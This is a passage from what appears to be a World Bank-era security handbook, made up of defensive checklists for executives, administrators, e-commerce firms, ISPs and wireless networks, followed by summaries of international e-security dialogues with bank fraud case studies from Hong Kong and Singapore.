The three general axioms to remember in building a security program are as follows:

- Attacks and losses are inevitable.
- Security buys time.
- The network is only as secure as its weakest link.

12 core layers of proper security are essential for maintaining the integrity of data and mitigating the risks associated with open architecture environments, and in many instances, actual implementation of a specific layer need not entail large capital investments or outlays.

1. **Information Security Officer—**The creation of the position of Chief Security Officer who overseas that the other 11 layers are carried out and implemented in accordance with the best practices below (and details available in Glaessner, Kellermann and McNevin, "Electronic Security: Risk Mitigation in Financial Transaction")
2. **Risk Management—**A broad based framework based upon CERT's OCTAVE paradigm for managing assets and relevant risks to those assets.
3. **Access Controls/Authentication—**Establish the legitimacy of a node or user before allowing access to requested information. During the process, the user enters a name or account number (identification) and password (authentication). The first line of defense is access controls; these can be divided into passwords, tokens, biometrics, and public key infrastructure (PKI).
4. **Firewalls—**Create a system or combination of systems that enforces a boundary between two or more networks.
5. **Active content filtering—**At the browser level, it is prudent to filter all material that is not appropriate for the workplace or that is contrary to established workplace policies.
6. **Intrusion detection system (IDS)—**This is a system dedicated to the detection of break-ins or break-in attempts, either manually or via software expert systems

[85] Source: Glaessner, Thomas, Kellermann, Tom, McNevin, "Electronic Security: Risk Mitigation in Financial Transactions -Public Policy Issues," June 2002, The World Bank.

that operate on logs or other information available on the network. Approaches to monitoring vary widely, depending on the types of attacks that the system is expected to defend against, the origins of the attacks, the types of assets, and the level of concern for various types of threats.

7. **Virus scanners—**Worms, Trojans, and viruses are methods for deploying an attack. A virus is a program that can replicate itself by infecting other programs on the same system with copies of itself. Trojans do not replicate or attach themselves to other files. Virus scanners hunt malicious codes.
8. **Encryption—**Encryption algorithms are used to protect information while it is in transit or when ever it is exposed to theft of the storage device (e.g. removable backup media or notebook computer).
9. **Vulnerability testing—**Vulnerability testing entails obtaining knowledge of vulnerabilities that exist on a computer system or network and using that knowledge to gain access to resources on the computer or network while bypassing normal authentication barriers.
10. **Proper systems administration—**This should be complete with a list of administrative failures that typically exist within financial institutions and corporations and a list of best practices.
11. **Policy Management Software—**a software program should control company policy and procedural guidelines vis-à-vis employee computer usage.
12. **Business Continuity/Incident response plan (IRP)—**This is the primary document used by a corporation to define how it will identify, respond to, correct, and recover from a computer security incident. The main necessity is to have an IRP and to test it periodically.

Executive Support Checklist[86]

As we have seen in previous chapters, education and awareness of security issues are key to creating an environment where employees are best able to assist in the protection of their organization. In part, the personnel will take their lead from the management team's attitude toward security issues and the corresponding investment in training and communication on security and related areas. The checklist is designed for company executives who will lead the security policy effort.

Are executive-level summaries produced regularly? How often?
Does a clear communication path exist from the top level of management to the line-level workers?
Does everyone know what or where that communication path is?
Does responsibility for security rest with a Vice President, Director of Security, or other member of management?
Has management demonstrated that it is committed to the company's security program by appropriately presenting and enforcing it?
Has adequate funding for security been allocated and made available?
Do all system administrators understand the importance of reporting and resolving security issues quickly?
Is security awareness training provided as part of the standard orientation for new employees at all levels from line-level to upper management?
Have steps been taken to ensure that all employees from the top down are aware of the company's information-protection policies?
Were the realities of the company's culture (in terms of management/worker relationships) considered when the security policies and procedures were developed?
Do employees know whom to call for help when a security breach occurs or when they don't understand their roles?
Are security audits conducted regularly? Every 6 months? Yearly?

Employees' Responsibilities

In order to foster a security culture, managers must:

- Explain what constitutes a good security program.
- Emphasize that security is important at all levels of the organization.
- Encourage people to ask questions on technology and procedures related to security.
- Ask that the entire team be vigilant and report any unusual activity, both in the office and over the network.

[86] Source: ITS, Chapter 3 Executive Support, p. 50.

- Outline what is being done to protect employees' privacy and security, but make it clear that allegiance to the organization comes first and intentional security breaches will not be tolerated.

The following checklist is designed to help managers train employees to assist in the security function:

Security Training Checklist[87]

Do all managers, from the top down, voice a corporate commitment to security?
Do they back up that commitment with funding for security training?
Does that training program include details on configuring and supporting security?
Do security training policies exist?
Are they thorough, current, and widely known?
Are all employees, including executive managers, trained on their security responsibilities for the company?
Does a framework exist for developing and continuing security awareness?

Control and Risk Management Framework

In Chapters 2, 3, and 4, we reviewed common threats to security (risk evaluation) and loss analysis. We also developed guidelines for security policies and procedures that would strengthen the organization's resistance to attack and accidental loss. The response plan included a listing of practical security assessment and suggested a range of perimeter defenses.

The following checklists offer further detail on risk assessment and loss prevention.

Review your Risks Checklist[88]

Was a risk assessment completed recently? How often is it updated?

Have systems been classified by risk level (non-critical, critical, mission critical)?

Are management's goals tied to security?
Are routine audits conducted to verify risk-assessment conclusions?

Are external auditors used when appropriate is assessing and reducing risk?

Are all employees (managers, as well as system administrators) assigned and evaluated based on security goals?

Loss Prevention Checklist[89]

Do you know what you are trying to protect on your network?
Was management involved in risk assessment?
Are policies easy to read and understand?
Does everyone either have a copy of the policies or at least have access to one?
Does someone "own" responsibility for the policies and procedures?
Does the policy owner attend security conferences and keep current on policy issues?
Do you conduct periodic audits to verify that security controls are in place?
Are you sure that all person's installing your systems have been trained on your company's security policies and procedures?
Do you double-check that all known security problems have been addressed before bringing new hardware or software systems online?
Do you configure and review audit logs? How often?

Physical Security: Internal and External Networks

Physical security has been covered in varying degrees of detail in Part 2 (Security for Individuals), Part 3, and Part 5 (Security for Technical Administrators). On the technical side, there are a number of areas to cover from a security standpoint, including internal networks, external networks, and control of access to networks. The following checklists are designed to aid in the effort to protect the physical assets in a networked environment.

[87] Source: ITS, Chapter 5 Security Training, p. 81.
[88] Source: ITS, Chapter 6 Unplanned Security, p. 95.
[89] Source: ITS, Chapter 2 Out-of-the-Box Security, P. 32.

Internal Network Security Checklist[90]

Are there policies and procedures for system configurations?

Do those policies and procedures cover files permissions, passwords, and patches?
Do you disable unnecessary services?
Is there a policy covering physical security?
Do all account users have passwords?
Have any default accounts installed with the systems been changed?
Are default guest accounts banned as a matter of policy?
Are dormant accounts regularly disabled?
Are security patches applied as part of the installation for all new systems?
Do you try to crack the passwords on the systems you support to test for easily-guessed passwords?
How often?
Do you look for unauthorized changes to files?
How often?
Do you use caution when exporting file systems?

External Networks and Firewalls Checklist[91]

Are security roles and responsibilities clearly defined?
Has someone been assigned to audit the firewall on a regular basis? How often?
Has someone been assigned to regularly conduct firewall penetration tests?
Has someone been assigned to upgrade the firewall when necessary?
Are firewall administration, upgrades, and routine maintenance adequately funded?
Do managers understand their own security roles and those of the people who report to them?
Are emergency roles and responsibilities clearly, and formally, defined?
Do support personnel have specific preventive procedures to follow?
Is intrusion detection software installed on networks and systems?
Is auditing software installed on mission-critical systems?
Is virus protection installed at every entry point?
Are lessons learned from break-ins shared and used to build better processes?

Network Access Checklist[92]

Is management involved in the external-connection approval process?
Does someone keep track of external connections?
Does management know how many employees and contractors have external connections?
Are unnecessary network services disabled?
Are all outside connections evaluated for true need before approval?
Does your company conduct routine audits to maintain control over external connections?
Are procedures in place to disable connections when employees and contractors resign?
Do policies and procedures exist for installing firewalls?
Do policies and procedures exist for installing customer connections (extranets)?
Are all connection-related policies and procedures enforced?

Security Audits

While an organization may spend a great deal of time and money crafting excellent security polices and procedures, training employees, and listening to its managers and security experts, the efficiency of these efforts must be tested from time to time. Security audits will find holes in the security plan which may not have been understood, or may have arisen with growth and change in the lifecycle of the organization. Security audits are also useful in helping to ensure compliance; if would be violators know that you are on the lookout for them, they may curtail their activities on your systems.

Among the most common mistakes discovered by routine audits:

- Security patches are not installed
- Excessive file permissions have been granted
- Passwords are easy to guess
- Unnecessary network services are enabled
- Firewalls are not on or not enforced

[90] Source: ITS, Chapter 8 Internal Network Security, p. 121.
[91] Source: ITS, Chapter 7 Maintaining Security, p. 109.

The following checklist is provided to set a baseline for your security audits, whether they are conducted by internal staff or outsourced to security professionals in your area.

Audit Procedures Checklist[93]

Does your company have a formal audit policy?
Does your company have written audit procedures for testing security?
Are audits conducted on a regular schedule?
Is auditing software installed on all platforms in use (Windows, Mac, Unix/Linux)?
Is funding provided to buy the required auditing tools?
Does management support security auditing by providing the right training for auditors?

Outsourcing

Finally, we are aware that the complexity of IT security may prompt some organizations to hire outside specialists to handle their security needs. The chapter on outsourcing provided a detailed discussion of what to look for in outsourcing firms, how to manage their activities, and when to increase your scrutiny of their practices at your location.

The following checklist serves as an additional resource to firms that are considering the use of outside contractors for the security function.

Outsourcing Security Checklist[94]
(Technical considerations)

Are supplier and customer connections (extranets) audited on a regular basis? How often?
Does a formal architecture exist for connecting suppliers and customers to your network via extranets?
Does a formal policy exist to spell out when, why, and how extranet connections will be permitted?
Is management approval required before brining an extranet connection online?
Is a formal security audit required before bringing an extranet connection online?

[93] Source: ITS, Chapter 9 Outsourcing Security, p. 133.
[94] Source: ITS, Chapter 9 Outsourcing Security, p. 133.

CHAPTER 12.
GENERAL RULES FOR ALL COMPUTER USERS AND COMPANIES ENGAGED IN E-COMMERCE

Four Easy Steps to a More Secure Computer

Running a secure computer is a lot of work. If you don't have time for the full risk-assessment and cost-benefit analysis described previously, we recommend that you at least follow these four easy steps:

1. **Decide how important security is for your site.** If you think security is very important and that your organization will suffer significant loss in the case of a security breach, the response must be given sufficient priority. Assigning an overworked programmer who has no formal security training to handle security on a half-time basis is a sure invitation to problems.

2. **Involve and educate your user community.** Do the users at your site understand the dangers and risks involved with poor security practices (and what those practices are)? Your users should know what to do and who to call if they observe something suspicious or inappropriate. Educating your user population helps make them a part of your security system. Keeping users ignorant of system limitations and operation will not increase the system security—there are always other sources of information for determined attackers.

3. **Devise a plan for making and storing backups of your system data.** You should have off-site back ups so that even in the event of major disaster, you can reconstruct your systems.

4. **Stay inquisitive and suspicious.** If something happens that appears unusual, suspect an intruder and investigate. You'll usually find that the problem is only a bug or a mistake in the way a system resource is being used. But occasionally, you may discover something more serious. For this reason, each time something happens that you can't definitively explain, you should suspect a security problem and investigate accordingly.

Twenty-five Specific Rules for More Secure Computing

Rule 1: Think about computer theft before it happens.

Rule 2: Make backups regularly and take steps to ensure that they will survive if your computer is physically threatened.

Rule 3: Select passwords that you will be able to remember but will be very difficult for someone else to guess.

Rule 4: Keep your operating system and key application software up-to-date.

Rule 5: Configure your mail program not to open attachments automatically.

Rule 6: Before opening any attachment, look at the name to verify that it is not an executable program.

Rule 7: Never open an attachment from someone you do not know unless you are very sure that it is a type of file that cannot contain malicious code.

Rule 8: Do not open an attachment from someone you do know and trust unless you are sure that they sent it deliberately.

Rule 9: Consider configuring your e-mail program to not process "fancy" HTML and not to send it to other computers.

Rule 10: Check with your ISP to see if they are checking e-mails for viruses and similar threats before delivering e-mail.

Rule 11: Do not allow web sites to download and execute potentially malicious programs on your computer unless you know that the site is trustworthy.

Rule 12: Display the web site address you are visiting and the address you are linking to, and pay attention to them while visiting an unfamiliar web site, especially if you are allowing the site to execute programs on our computer.

Rule 13: Consider controlling under what situation you allow cookies to be stored on your computer. If you cannot control them (such as when using a computer in a public location), consider not entering private information.

Rule 14: If there is any sort of private information displayed on a web page, clear the cache after the session is over. If you cannot clear the cache (from a computer in a public location, for example), you may decide not to use this particular computer for the task.

Rule 15: If you are not using file sharing, disable it. If you are using it, to the extent possible, limit the kinds of things that can be done to those functions that you need.

Rule 16: If you use file sharing, set robust usernames and passwords and limit the access permissions to the least possible that will allow you to do your work.

Rule 17: If you share files with another user, make sure that they take security seriously.

Rule 18: Instant messaging can be very helpful, but use it with care and knowledge.

Rule 19: Disable all Internet services that are not needed and used regularly.

Rule 20: Every computer that is vulnerable to viruses should run anti-virus software and should check for up-to-date virus signatures daily. A full scan of the machine should be performed periodically as well.

Rule 21: Computers that are not particularly subject to viruses such as Unix-based systems should nevertheless ensure that the mail that they send out does not contain a virus that may harm the recipient.

Rule 22: Keep your operating system and key application software up-to-date.

Rule 23: All computers should be protected by a firewall of some sort, either software within the computer, or an external firewall protecting that computer or an entire local network of computers.

Rule 24: If you use remote access facilities to remotely control any computers, make sure that they have robust security (at the very least, excellent usernames and passwords) to ensure that attackers do not use these same tools.

Rule 25: System functions and applications logs should be judiciously enabled.

Checklist for Companies Engaged in Credit Card Transactions

A) If your computer is not on a network:

- The company's computers should be kept in a physically secure location.
- A robust password is used to unlock the computer and a minimum number of people should know the password.
- Physical access allows a person to circumvent passwords, so physical security is important. If you have physical access to the machine, you can boot it using a CD or floppy, completely bypassing all security measures built into the operating system and application (other than encryption).
- File-level security should be used to restrict access to data; only those people that must work with the data should have access to it. (For Windows machines, this means you must use the NTFS file system).
- Deploy up-to-date security patches on the operating system, the database system and all application software. Note that more recent versions of operating systems are much easier to secure than older versions.
- Run anti-virus and intruder detection software on the system.
- Credit card data files should be encrypted with strong encryption.
- Precautions should be taken to ensure that temporary files do not contain unencrypted information. When no longer needed, these files should not be simply erased, they should undergo the electronic equivalent of shredding.
- Logs should be used to track all accesses to sensitive files, and the logs should be scanned regularly for potential problems or error indications. Consider writing two copies of logs and locating the second log on a different host than the one running the application.

- Monitor security alert mailing lists to ensure that if there is a potential breach related to your systems, you know about it quickly.
- In the case of a potential or actual breach, take all precautions immediately to reduce risk – containment.
- Ensure that all staff understand that security is important to the organization and that senior management places it very high on its priority list.
- If you dispose of the hard disk, which contains credit card or other financial data, make sure that the data is no longer accessible; this procedure goes beyond deleting the files; seek professional assistance if you are not sure how to destroy data completely.
- Make regular backups and ensure that backups which contain credit card information are handled securely.
- Publish a Privacy Policy telling your users that you are storing this information, what you will use it for, and (in vague terms) how you are protecting it.
- If you do credit card charge validation online, make sure that this link is secure. If you are working with a dial-up modem, ensure that incoming calls are not allowed.
- If you print records with credit card information on them, physically secure them, and shred them when they are no longer needed.
- Buy several up-to-date books from respected sources on e-commerce security, read them, and follow their advice. O'Reilly & Associates, John Wiley & Sons and Osborne/McGraw-Hill have excellent books on the subject of IT security. Such books may be expensive, depending on your location, but they are a good investment.

B) If the computer must be accessible to internal network:

- All the items mentioned above, and:
- Set up a firewall to ensure that only legitimate users and transactions can contact this machine, and that general Internet access is not allowed.
- Install up-to-date security patches on all network equipment (routers, firewalls, switches, etc.).
- Consider using encrypted transmission for all credit card-related messages.
- Turn off all network services on the computer that are not essential (such as File Transfer Protocol, Remote Procedure Call, web server)

C) If credit card information is accessible via the WWW:

- All previous items mentioned above, and:
- Do not put credit card information on an Internet-accessible machine. Keep the data on a separate machine behind a firewall and use a remote procedure call (RPC) or other communications method to access the file, with appropriate filtering at the fire wall.
- Encrypt the transactions over the network (SSL or an equivalent) using the strongest encryption practical (128 bit, if available).
- Ensure that credit card information that is temporarily stored on the web server is erased once the transaction is complete.

If credit card information *must* reside on the Internet-accessible machine:

- All of the above precautions apply, but with increased awareness of the security risks – monitor this machine, the transactions, and the logs very carefully.

Checklist for Consumer Data Protection on a Web Site

Here is a simple but workable policy that we recommend for web sites that are interested in respecting personal privacy. Tell people about your policy on your home page, and allow your company to be audited by outsiders if there are questions regarding your policies.

- Do not require users to register to use your site.
- Allow users to register with their e-mail addresses if they wish to receive bulletins.
- Do not share a user's e-mail address with another entity without that user's explicit permission for each organization with which you wish to share the e-mail address.
- Whenever you send an e-mail message to users, explain to them how you obtained their e-mail addresses and how they can get their addresses off your mailing list.
- Do not make your log files publicly accessible.
- Delete your log files when they are no longer needed.
- If your log files must be kept online for extended periods of time, remove personally identifiable information from them.

- Encrypt your log files if possible.
- Do not give out personal information regarding your users.
- Discipline or fire employees who violate your privacy policy.

Checklist for Internet Service Providers (ISPs)

This list is more inclusive than many ISPs will implement, but it is important to assess all options and make conscious business decisions regarding which you will implement.

- Since you certainly store credit card and/or other customer financial information, all of the rules for credit card storage apply.
- Security should not be haphazard – understand the issues and draw up a plan.
- Establish a security policy including: to what extent you will respect the privacy of customer data (with respect to access by your staff or outside agencies); reporting processes in the event of a security breach (reporting both within your organization, to outside Internet providers, and the authorities).
- Identification of your legal responsibilities (are you a common carrier, to what extent must you retain log files, etc.)
- Establish policies on how you will respond to security alerts and concerns from your clients, from other peer ISPs, from your major bandwidth providers and from the rest of the Internet.
- Beware of the fact that certain customers of your service may attack outside systems. You may develop a policy for responding to reports from other ISPs that one of your customers is engaging in an attack, spreading a virus, etc.
- You may decide not to send virus-blocked notifications back to senders via e-mail if ISP-wide virus scanning is in place.
- Establish an Acceptable Use Policy (AUP) including ISP and Client responsibilities. This AUP should be referenced in any client contracts.
- Design a network so that to the extent practical and possible, the systems that control and manage your network (including accounting) and fire walled from the general Internet.
- Ensure that you use robust passwords and restricted access rules for all of your management machines, service machines (such as e-mail, web, authentication, proxy and DNS servers) and all network routing and monitoring equipment.
- Ensure that all non-essential services (ftp, icq, finger, compilers, etc.) are disabled on machines accessible to the Internet.
- Ensure that all machines, but particularly ones accessible to the Internet are kept up to date with respect to security patches.
- Establish continuous network monitoring so that you can recognize problems such as denial of service attacks and major spam and virus activities. This requires understanding what your normal traffic patterns are.
- Establish computer monitoring capabilities to attempt to recognized computer intruders (don't forget machines housing logs, accounting data)
- Consider installing virus checkers for all incoming and outgoing e-mail.
- Consider making one of the free or low-price anti-virus products available to your customers to encourage them to be secure.
- Protect you mail servers from being used as spam relay points.
- Consider installing spam control measures.
- Log all server accesses and network connection/dis connections maximizing your ability to retroactively do forensic analysis to understand security breaches.
- Establish a rigorous and redundant set of procedures for backing up your data and that of your users.
- Consider downloading and distributing (electronically or via CD) major software patches to your customers (thereby making it easy for them to remain current and secure, and reducing your international band width).

15 Steps to Securing WLANs

Wireless network security is much like the physical security at the entrance of a building. Someone with enough interest, resources, and time is going to be able to gain access. First and foremost, it is important to treat your wireless network as though it were a publicly accessible network. A system administrator should not make any assumptions that his or her traffic on that network is

private and secure. The following security recommendations, compiled from a host of industry leaders, will provide some simple rules of thumb that can provide a foundation for securing a WLAN:

1. **Create an institution wide policy regarding wireless devices.** Tailor the corporate security policy to address network usage guidelines.

2. **Track how many employees have WLANs at home.** These remote access users need to be monitored, in order to eliminate unauthorized wireless access points.

3. **Define an account provisioning process to securely** manage client's accounts which includes tokens .

4. **Disable all unneeded services and applications on each client and server.** Typically, all services and applications that are not known or in use should be disabled.

5. **Change the default settings of your product.** Many administrators make the mistake of not changing any of the SSID or IP address information for their access points. Don't change the SSID to reflect your company's name, divisions,or products. Since this information is broadcast by the access point, once the hacker has broken WEP, they know exactly whose network they are accessing.

6. **Change the default password on your access point or wireless router.** Hackers moften know the manufacturers' default passwords, and will try them first.

7. **Plan your coverage to radiate out to the windows, but not beyond.** As you do your site survey for access point deployment, think about locating the access points toward the center of your building rather than near the windows. If the access points are located near the windows, a stronger signal will be radiated outside your building making it easier for people to find you.

8. **Provide directional antennas for wireless devices.** Most wireless devices utilize omni-directional antennas, these antennae allow for systematic "sniffing" (recording) of all communications. Directional antennas coupled with a 2.4 Gig or higher frequency will lessen the propagation of the signal.

9. **Turn WEP on** and manage your WEP key by changing the default key and subsequently, changing the WEP key on a weekly basis.[95]

10. **Use VPN tunneling between the network firewall and the wireless.** Though it would require a VPN server, the VPN client is already included in many operating systems such as Windows 98 Second Edition, Windows 2000, and Windows XP.

11. **Deploy a network based intrusion detection system (NIDS) on the wireless network.**[96]

12. **Deploy enterprise-wide anti-virus software on all wireless clients.**

13. **Employ two-factor authentication.** There are two ways in which two-factor authentication is best employed. First, token-based smart cards that store a biometric record.[97] The two- factor approach mitigates a tremendous amount of risk. Second, the use of Radius Servers, which authenticate the machine to the network. A Radius server permits association with your access points. A user connects to the radius server merely for authentication to the other servers. One can implement a biometric to initialize the server thus abiding by the two-factor authentication mantra. Radius[98] servers act as a guard would in a lobby, authorizing passage to the rest of the building.

---

[95] Input provided by the NIPC http://www.nipc.gov/publications/nipcpub/bestpract.html.
[96] Input provided by Chris Bateman of CERT Analysis Center.
[97] Bateman recommends the e-thenticator, which is a thumb print biometric scanner that stores the image on a smart card.
[98] RADIUS or Remote Authentication Dial-In User Service is an authentication service that verifies user information and once verified, allows users to access certain network services. Part of what RADIUS can provide is encrypted communication between the remote client and the RADIUS server. Virtual Private Networks (VPNs) work in a similar manner but tend to operate on a network-to-network connection instead of the remote host to network method of RADIUS. Once the remote computer is authenticated and connected to the internal network via a RADIUS server, it operates as if it were physically located near and connected to the network. In other words, the encryption provided by the RADIUS server is only between the RADIUS server and the client machine, not over the network as a whole. Rick Fleming stated that: "Cisco's Aeronet Tacacs Server is premier for this service."

14. **Consider using a Wireless Firewall Gateway.**[99] This device operates as a standard dual-homed firewall with the wireless network on one side and the trusted network on the other. The firewall has security software such as IPSEC or other VPN enabled and only after authenticating to that software can be granted access to the internal network. The firewall rules may also be used to limit where traffic originating from wireless networks may traverse. Make sure that the network firewall is between all wireless access points and the internal network or Internet.

15. **Disable DHCP and use static IP addresses for your wireless NICs.** Also change the default IP address range for your wireless network from the manufacturers default.

16. **Purchase access points that have "flashable" firmware only.** There are a number of security enhancements that are being developed, and you want to besure that you can upgrade your access point.

Additional Information on VPNs

To protect information systems that may use any of these technologies, users should deploy Virtual Private Network (VPN) technology at each and every trusted gateway into their networks and ensure that every user accessing the trusted network uses VPN technology. A virtual private network is essentially a private connection between two machines that sends private data traffic over a shared or public network, the Internet. VPN technology lets an organization securely extend its network services over the Internet to remote users, branch offices, and partner companies. In other words, VPNs turn the Internet into a simulated private wide area network (WAN). VPNs allow remote workers access their companies' servers.

To use the Internet as a private wide area network, organizations may have to overcome two main hurdles. First, networks often communicate using a variety of protocols; VPNs provide a way to pass non-IP protocols from one network to another. Second, data packets traveling the Internet are transported in clear text. Consequently, anyone who can see Internet traffic can also read the data contained in the packets. This is clearly a problem if banks desire to use the Internet to pass important, confidential business information. VPNs overcome these obstacles by using a strategy called tunneling. Instead of packets crossing the Internet out in the open, data packets are first encrypted for security, and then encapsulated in an IP package by the VPN and tunneled through the Internet.

Many vendors such as Nokia, Cisco, Nortel, Checkpoint, and Microsoft among others have viable, secure VPN technologies[100] that can be deployed at multiple locations in a corporate network. While VPNs provide content protection for that information traversing the network, depending on how they are deployed, they may not provide any protection from extraneous users accessing the network itself. In other words, an unauthorized user may not be able to see the content because of the VPN, but they can still access the network resources and utilize the bandwidth causing network congestion and possibly denial of service to authorized users. Access control, authentication, and encryption are vital elements of a secure connection. The Point-to-Point Protocol (PPP) has long been used as the Internet's universal link layer for creating tunnel links between devices, but in more recent years, the Point-to-Point Tunneling Protocol (PPTP) and Layer 2 Tunneling Protocol (L2TP) have prevailed.[101]

[99] Rick Fleming, VP of Security Operations, Digital Defense, Inc.
[100] The standards for VPN are currently in revision by the IETF to make IP Sec more secure, but also make it compatible with satellite communications.
[101] Karen Bannan's article "Safe Passage" in PC Magazine reviews seven VPN providers for products that would suit a medium-size business with a budget of $10,000 that needed a VPN for its central and branch offices. http://www.pcmag.com/print_article/0,3048,a%3D12352,00.asp

CHAPTER 13.
GLOBAL DIALOGUES ON SECURITY AT THE WORLD BANK

At a Glance

The following international examples of IT security breaches, solutions, and current policy initiatives are drawn from two events held by The World Bank. The first Global Dialogue, "E-Security: Risk Mitigation in the Financial Sector" took place on September 25, 2002. The second Global Dialogue, "Electronic Safety and Soundness" took place on September 10, 2003. Videos for both sessions are available in online.[102] This chapter contains the highlights of each session including the comments of representatives from participating countries.

Global Dialogue 2002 "E-Security: Risk Mitigation in the Financial Sector"[103]

The session opened with an introduction to e-risk. Themes included the shift from closed to open networks within the past ten years. On open networks, the dependence on silver bullets, such as SSL which has been cracked, has become problematic because they perpetuate vulnerabilities. For banks, not only are there dangers of blended threats, such as Code Red, but also of organized hacking crime rings. Many of these crime rings use online casinos as money laundry tools. The International Data Corporation (IDC) estimates that 57% of hacks have been against the financial industry. Furthermore, as the level of sophistication in hacks increases, the skill level decreases due to the ubiquity of downloadable, malicious code that anyone with even limited knowledge can launch large-scale attacks.

Methods of e-fraud include identity theft and extortion—both highly profitable—especially in attacks originating in Eastern Europe against the United States. Other methods include salami slicing, funds transfers, and stock manipulation. Attacks in Asia specifically targeted the financial sector for obvious purposes, as well as the technology sector for intellectual capital.

The introduction to e-risk also addressed the topic of wireless vulnerabilities, specifically in GSM (Global Standard Mobile). Two key points were made with regards to wireless risks: the gateway vulnerability, and the "man in the middle" attack. The latter can occur because cellular towers fail to authenticate to cellular phones.

Legal and Regulatory Issues

While five years ago, e-commerce laws were relatively uncommon, today, there are forty countries with e-commerce laws and the number is growing. Of particular importance, consumer electronic transaction law, rights and responsibilities, are all vibrant areas of legal development. Key issues include:

- the validity of electronic signatures and transactions,
- individual data protection, note Privacy and the Fair Information Practice Guidelines,
- payment systems between banks, particularly e-banks,
- money laundering and the level of international cooperation required to prevent it,
- advances in cyber crime law that address the use of computers in criminal acts

Enforcement requires compliance, cease and desist orders, and the ability for regulators to remove malicious data from systems. While there has been inter-industry cooperation on some levels, the security of e-payments, for example, has led to a collision of telecom and banking. The banking industry defined safety and soundness as the "non-discriminatory access to safe and sound financial systems." The telecom industry paradigm, on the other hand, was "universal access for the public interest and welfare." These slightly different approaches to the definition of "safe service" create difficulty when organizations are attempting to secure networks and meet commercial needs simultaneously.

---

[102] Please note, the full streaming video for the 2002 proceeding can be obtained on The World Bank website, at: http://www.worldbank.org/wbi/B-SPAN/sub_e-security.htm. The video for the 2003 proceeding may be obtained at http://www1.worldbank.org/finance (Click on E-security, within the Conference section.)

[103] This session was conducted by The World Bank, Integrator Group Members: Thomas Glaessner, Tom Kellermann, and Valerie McNevin, with Global Dialogue Participants from a range of countries including Brazil, Chile, Mexico, Ukraine, Bulgaria, Slovakia, Singapore, South Korea, Philippines, Hong Kong, Sri Lanka, and P.R. China.

Supervision and Prevention

In spite of the difficulty with meeting the dual needs of safety and soundness, electronic security is a critical need of most organizations and there must be a concerted effort to reduce operational, legal, and reputational risk in the IT environment. Plans to increase the security of systems must include:

- Education, awareness, and skills training. The World Bank study shows that 50% of the e-security intrusions are by insider threats. This figure is larger when including misuse or failure for safe computing techniques.

- Auditing and examination processes. There must be cross-border coordination in order to effect change in the speed at which issues are addressed. For example, EU banks have servers in Antigua; this illustrates the ease with which banks can fail, if servers are shut down, and immediate action is hindered by cross-border coordination problems.

- Public-Private Cooperation. Reputational risk leads to a lack of reporting. Thus, it is critical to hold roundtables to discuss both legal issues as well as emerging threats. Some examples of functional public-private partnerships are the NIPC's *InfraGard,* a partnership between private industry and the U.S. government, represented by the FBI. *The Forum of Incident Response and Security Teams (FIRST)* is another form of partnership, bringing a variety of computer security incident response teams from government, commercial, and academic organizations together. FIRST aims to foster cooperation and coordination in incident prevention, prompt rapid reaction to incidents, and promote information sharing among members and the community at large. Other collaborations include: The Internet Security Alliance (www.isalliance.org) and the Computer Emergency Response Team (CERT). This is a collaborative effort between Carnegie Mellon University's CERT Coordination Center and a cross-section of private international companies.
- Layered Security. The most effective approach to IT security is a layered approach that is not just covered by technology, but also by people and processes. Over-reliance on silver bullet solutions such as encryption will not protect organizations against every threat possible. 12 core layers of proper security are essential for maintaining the integrity of data and mitigating the risks associated with open architecture environments, and in many instances, actual implementation of a specific layer need not entail large capital investments or outlays. The 12 layer checklist is presented in Chapter 11, Part 3.

Country Contributions

Hong Kong

Representatives from the Hong Kong Monetary Authority opened with an overview of three recent fraud cases:
1) A Hacker used Trojan horses to get passwords and IDs, with which (s)he conducted an unauthorized transfer of over US$35,000;
2) A case of E-Payment fraud in Australia occurred as a result of poor customer awareness of password security; this enabled hackers to crack the payment system and, because institutional limits were not imposed, it is estimated that over US $3 million were stolen;
3) In a case of online dealing fraud, hackers broke into a system in order to sell 5 million shares (equivalent to US $21.7 million), and effectively manipulated the stock prices.

The lessons learned from these incidents were as follows:
1) Pre-register all third party accounts - this entails controlling all unauthorized accesses and transfers.
2) Monitor e-bank transactions and control suspicious accounts and transactions (over SMS, or e-mail accounts to unregistered third party accounts)
3) Use multiple factors for customer authorization, such as customer specific information (something that only the individual customer knows or has, like a smart card. Passwords may only be valid once.
4) Secure awareness of customer (the weakest link) - due to the ability to use multiple channels or methods for transfers, communications should be secure, including installing personal firewalls and updating intrusion detection systems.
5) Incidents must be handled and reported quickly, in order to ensure effective responses from the security team.

In Hong Kong, the government is collaborating with banks and police for handling incidents, ensuring responsiveness, reporting incidents, controlling damages, and ensuring public confidence through effective PR management. Hong Kong also noted that, with regards to ISPs, the variety of existing standards make it difficult to control, secure, and create awareness of security issues.

Singapore

Singapore's discussion revolved around four key areas: the Korean connection, the state of e-finance, the national PKI (Public Key Infrastructure), and recent incident and government actions. Beginning with the topic of connectivity, Singapore juxtaposed the following figures from 1998 and 2001 to illustrate the rapid technological diffusion:

- in 1998 revenues from e-commerce totaled US $40 million; in 2001, the total is US $91 billion;
- in 1998 there were about 14,000 households with high speed access; in 2001 was 7.8 million, or 64% of the total population;
- in 1998 Internet usage was at 3 million, this figure is up to 24 million in 2001 (half the population in Korea);
- Mobile penetration is greater that 50% of the total population.

E-Banking has proven to be very popular in Singapore. E-Banks are both popular and pervasive in Singapore. Despite a small population of 4 million people, approximately 25% of the population engages in online banking. In addition, the industry is experiencing rapid growth. Online trading began in 1997 and now accounts for about 50% of all trades. As a counterpoint, the insurance industry is not growing as quickly, though this may be attributed to the nature of the product; insurance products tend to be customized and allow for little standardization.

Looking at the criminal side, the statistics for cyber-crime incidents shows that there were approximately 100 hacking incidents between the years 1996-1997. In the year 2000, there were 5,000 reported cases. This figure is increasing exponentially. Although e-Banking is popular, two recent security incidents have underscored the importance of security policies and procedures in the e-finance environment:

1) In one incident, customers of the biggest bank in Singapore had their PC's penetrated by Trojan horses. These Trojans illicitly acquired confidential user information in order to extract large sums of money. This particular Trojan was so sophisticated that it escaped the notice of both anti-virus software and intrusion detection systems, thus highlighting that these tools should not be the only forms of defense employed by a commercial entity.

2) An earlier incident involved the second largest bank in Singapore and did not attract as much international attention. In this case, the bank's systems were attacked on unpatched vulnerabilities. The incident specifics were not shared for reasons of confidentiality. However, this incident illustrates the need for cooperation among regulatory agencies.

